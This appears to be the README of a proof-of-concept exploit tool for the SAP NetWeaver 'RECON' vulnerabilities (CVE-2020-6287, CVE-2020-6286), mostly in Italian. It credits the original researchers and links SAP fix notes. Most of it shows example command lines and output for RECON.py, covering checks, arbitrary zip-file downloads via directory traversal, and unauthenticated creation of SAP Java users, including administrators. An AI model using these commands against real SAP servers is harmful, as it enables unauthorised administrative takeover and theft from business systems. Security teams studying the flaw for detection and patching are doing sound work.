
PoC per CVE-2020-6287, CVE-2020-6286 (vulnerabilità SAP RECON)
PoC per CVE-2020-6287, CVE-2020-6286 (vulnerabilità SAP RECON)
Pffff! RECON (Remotely Exploitable Code On NetWeaver)? Ragazzi, davvero? Era il miglior nome in codice che avete trovato? :)
Questo script permette di verificare la vulnerabilità di mancato controllo autorizzazioni in SAP LM Configuration Wizard e, come script PoC, sfrutta il directory traversal nel metodo queryProtocol.
Il directory traversal permette di scaricare qualsiasi file zip dal server SAP.
Questo progetto è creato solo a scopo educativo e non può essere utilizzato per violazione di legge o guadagno personale.
L'autore di questo progetto non è responsabile per eventuali danni causati dai materiali di questo progetto
Scoperta originale:
CVE-2020-6287: Pablo Artuso
CVE-2020-6286: Yvan 'iggy' G.
Basta indicare il nome host/IP di SAP NW AS Java.
Ci sono opzioni aggiuntive:
-c - verifica se il server SAP è vulnerabile a RECON-f - scarica un file zip dal server SAP-u - crea un utente SAP JAVA con ruolo Authenticated User-a - crea un utente SAP JAVA con ruolo AdministratorEs.: Scarica file zip
~python RECON.py -H 172.16.30.8 -f /1111.zip
Check1 - Vulnerable! - http://172.16.30.8:50000/CTCWebService/CTCWebServiceBean
Ok! File zipfile_929.zip was saved
Es.: Creare un utente SAP JAVA
~python RECON.py -H 172.16.30.8 -u
Check1 - Vulnerable! - http://172.16.30.8:50000/CTCWebService/CTCWebServiceBean
Going to create new user. sapRpoc5484:Secure!PwD9379
Ok! User were created
Es.: Creare un utente SAP JAVA amministratore
~python RECON.py -H 172.16.30.8 -a
Check1 - Vulnerable! [CVE-2020-6287] (RECON) - http://172.16.30.8:50000/CTCWebService/CTCWebServiceBean
Going to create new user sapRpoc5574:Secure!PwD7715 with role 'Administrator'
Ok! Admin user were created
~python RECON.py -h
usage: RECON.py [-h] [-H HOST] [-P PORT] [-p PROXY] [-s] [-c] [-f ZIPFILE]
[-u] [-a] [--timeout TIMEOUT] [-v]
PoC for CVE-2020-6287, (RECON)
This scrip allows to check SAP LM Configuration Wizard missing authorization check vulnerability and exploits dir traversal in queryProtocol method
Original finding:
- Pablo Artuso. https://twitter.com/lmkalg
- Yvan 'iggy' G https://twitter.com/_1ggy
Thanks:
- Spencer McIntyre https://twitter.com/zeroSteiner
Solution: https://launchpad.support.sap.com/#/notes/2934135, https://launchpad.support.sap.com/#/notes/2939665
optional arguments:
-h, --help show this help message and exit
-H HOST, --host HOST Java NW host (default: 127.0.0.1)
-P PORT, --port PORT Java NW web port (default: tcp/50000)
-p PROXY, --proxy PROXY
Use proxy (ex: 127.0.0.1:8080)
-s, --ssl enable SSL
-c, --check just detect vulnerability
-f ZIPFILE, --zipfile ZIPFILE
ZIP file to read. CVE-2020-6286
-u, --user Create simple JAVA user. CVE-2020-6287
-a, --admin Create JAVA user with role "Administrator". CVE-2020-6287
--timeout TIMEOUT HTTP connection timeout in second (default: 10)
-v, --verbose verbose mode